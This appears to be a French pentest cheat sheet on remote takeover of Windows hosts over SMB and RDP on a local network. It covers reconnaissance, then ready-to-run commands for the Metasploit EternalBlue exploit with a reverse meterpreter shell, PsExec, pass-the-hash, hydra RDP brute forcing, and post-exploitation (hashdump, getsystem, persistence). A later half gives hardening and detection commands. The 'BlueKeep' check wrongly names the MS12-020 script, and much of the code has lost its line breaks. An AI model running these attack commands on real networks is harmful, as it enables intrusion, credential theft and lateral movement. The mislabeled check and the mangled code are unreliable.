smbrdplateral-movement
MDstable
Prise de contrôle à distance — SMB / RDP / LAN
Exploitation SMB/RDP sur réseau local : EternalBlue, PsExec, Pass-the-Hash, Meterpreter, durcissement défensif
snippetintermediate 2026-05-14 5 min read
smbrdplateral-movementeternalbluepsexecpass-the-hashmeterpreternetbiospentestblue-team
Reconnaissance réseau
bash
Variables
{{TARGET_SUBNET}}
# Ping sweepnmap -sn {{TARGET_SUBNET}}# ARP scan (plus fiable en local)netdiscover -r {{TARGET_SUBNET}}arp-scan --localnet
bash
Variables
{{TARGET_IP}}
# Scan rapide des ports SMB/RDP/VNCnmap -p 13513944533895900 {{TARGET_IP}}# Scan complet + détection OS + scripts NSEnmap -A -sV -p- {{TARGET_IP}}# Scripts NSE SMB spécifiquesnmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 {{TARGET_IP}}
Énumération SMB (ports 139/445)
bash
Variables
{{TARGET_IP}}
# Énumération via enum4linuxenum4linux -a {{TARGET_IP}}# Lister les partages accessibles (session anonyme)smbclient -L //{{TARGET_IP}} -N# CrackMapExec — énumération complètecrackmapexec smb {{TARGET_IP}}crackmapexec smb {{TARGET_IP}} --sharescrackmapexec smb {{TARGET_IP}} --users
bash
Variables
{{TARGET_IP}}
# Identifier la version SMBnmap --script smb-protocols -p 445 {{TARGET_IP}}# SMBv1 actif = potentiellement vulnérable à EternalBlue (MS17-010)
Exploitation
Option A — EternalBlue (MS17-010) si SMBv1 actif
bash
Variables
{{TARGET_IP}}
{{LHOST}}
# Vérification préalablenmap --script smb-vuln-ms17-010 -p 445 {{TARGET_IP}}# Exploitation via Metasploitmsfconsoleuse exploit/windows/smb/ms17_010_eternalblueset RHOSTS {{TARGET_IP}}set LHOST {{LHOST}}set PAYLOAD windows/x64/meterpreter/reverse_tcprun
Option B — PsExec (credentials connus ou session null)
bash
Variables
{{TARGET_IP}}
{{SMB_USER}}
{{SMB_PASS}}
# Via Metasploituse exploit/windows/smb/psexecset RHOSTS {{TARGET_IP}}set SMBUser {{SMB_USER}}set SMBPass {{SMB_PASS}}run# Via Impacket (CLI)impacket-psexec {{SMB_USER}}{{SMB_PASS}}{{TARGET_IP}}# Via Sysinternals PsExec (Windows → Windows)PsExecexe {{TARGET_IP}} -u {{SMB_USER}} -p {{SMB_PASS}} cmdexe
Option C — Pass-the-Hash (hash NTLM récupéré)
bash
Variables
{{TARGET_IP}}
{{NTLM_HASH}}
# Avec CrackMapExeccrackmapexec smb {{TARGET_IP}} -u Administrator -H {{NTLM_HASH}}# Avec Impacketimpacket-psexec -hashes {{NTLM_HASH}} Administrator{{TARGET_IP}}
Option D — RDP (port 3389)
bash
Variables
{{TARGET_IP}}
{{RDP_USER}}
{{RDP_PASS}}
# Brute-force RDPhydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp//{{TARGET_IP}}# Connexion directe (si credentials)xfreerdp /u{{RDP_USER}} /p{{RDP_PASS}} /v{{TARGET_IP}}# BlueKeep check (CVE-2019-0708)nmap --script rdp-vuln-ms12-020 -p 3389 {{TARGET_IP}}
Post-exploitation (Meterpreter)
bash
# Capture d'écranscreenshot# Stream live écranscreenshare# Shell interactifshell# Dump des credentialshashdumprun post/windows/gather/credentials/credential_collector# Élévation de privilègesgetsystem# Persistance (démo lab uniquement)run post/windows/manage/persistence
Défense — Audit immédiat
cmd
Variables
{{PID}}
# Connexions actives + PIDnetstat -ano# Identifier un PIDtasklist /FI "PID eq {{PID}}"# Connexions établies uniquement (filtrer le bruit)netstat -ano | findstr "ESTABLISHED"# Ports en écoute exposés sur toutes interfaces (0.0.0.0)netstat -ano | findstr "0.0.0.0.*LISTENING"
Défense — Hardening SMB
powershell
# Désactiver SMBv1 (critique)Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force# Désactiver SMBv2 si inutileSet-SmbServerConfiguration -EnableSMB2Protocol $false -Force# Vérifier l'étatGet-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol# Bloquer SMB via pare-feu Windows (ports 139 et 445)netsh advfirewall firewall add rule name="Block SMB In" dir=in action=block protocol=TCP localport=139,445
Défense — Hardening RDP
powershell
Variables
{{IP_AUTORISEE}}
# Désactiver RDP si non utiliséSet-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' `-Name "fDenyTSConnections" -Value 1# Activer NLA (Network Level Authentication)Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' `-Name "UserAuthentication" -Value 1# Restreindre RDP à une IP spécifique via pare-feunetsh advfirewall firewall add rule name="RDP Restrict" dir=in action=allow `protocol=TCP localport=3389 remoteip={{IP_AUTORISEE}}
Désactiver NetBIOS
powershell
# Via PowerShell (toutes les interfaces)$adapters = Get-WmiObject Win32_NetworkAdapterConfigurationforeach ($a in $adapters) { $a.SetTcpipNetbios(2) }# 2 = Disable NetBIOS
Profil réseau public (Wi-Fi école / café)
powershell
Variables
{{INTERFACE_ID}}
# Forcer le profil réseau en "Public" (restreint le partage)Get-NetConnectionProfileSet-NetConnectionProfile -InterfaceIndex {{INTERFACE_ID}} -NetworkCategory Public
Défense — Pare-feu
powershell
Variables
{{NOM_REGLE_SUSPECTE}}
# Bloquer toute connexion entrante par défaut (profil public)netsh advfirewall set publicprofile firewallpolicy blockinbound,allowoutbound# Vérifier les règles activesnetsh advfirewall firewall show rule name=all dir=in | findstr "Enabled"# Supprimer une règle suspectenetsh advfirewall firewall delete rule name="{{NOM_REGLE_SUSPECTE}}"
Détection — Événements suspects
powershell
# Connexions SMB entrantes (Event ID 5140 — partage réseau accédé)Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 5140} | Select -First 20# Tentatives de logon réseau (Event ID 4624 type 3 = réseau)Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | Select -First 20# Logons échoués (Event ID 4625)Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select -First 20# Sessions et fichiers SMB ouverts sur la machineGet-SmbShareGet-SmbSessionGet-SmbOpenFile
Ports à risque
| Port | Protocole | Risque | Action |
|---|---|---|---|
| 139 | NetBIOS | Énumération, session null | Désactiver |
| 445 | SMB | EternalBlue, PsExec, PTH | Désactiver ou filtrer |
| 3389 | RDP | Brute-force, BlueKeep | Désactiver ou restreindre IP |
| 5900 | VNC | Accès bureau distant | Désactiver si inutile |
| 135 | RPC | Exploitation DCOM | Filtrer en entrée |
Checklist défensive — réseau non maîtrisé
Checklist0/8
⚠ Attention —
EternalBlue (MS17-010) reste exploitable sur n'importe quel Windows non patché avec SMBv1 actif. La vérification nmap --script smb-vuln-ms17-010 prend 5 secondes et doit être le premier réflexe sur tout réseau interne. SMBv1 est désactivé par défaut depuis Windows 10 1709 et Server 2019.
💡 Tip —
Pass-the-Hash est souvent plus rapide que le crack de password — si Responder ou hashdump donne un hash NTLM, tester directement avec CrackMapExec sur tout le subnet avant de lancer hashcat. Un seul compte admin local réutilisé sur plusieurs machines suffit pour du lateral movement en cascade.
OPS·BRAIN v1.090 notes · Securitylocal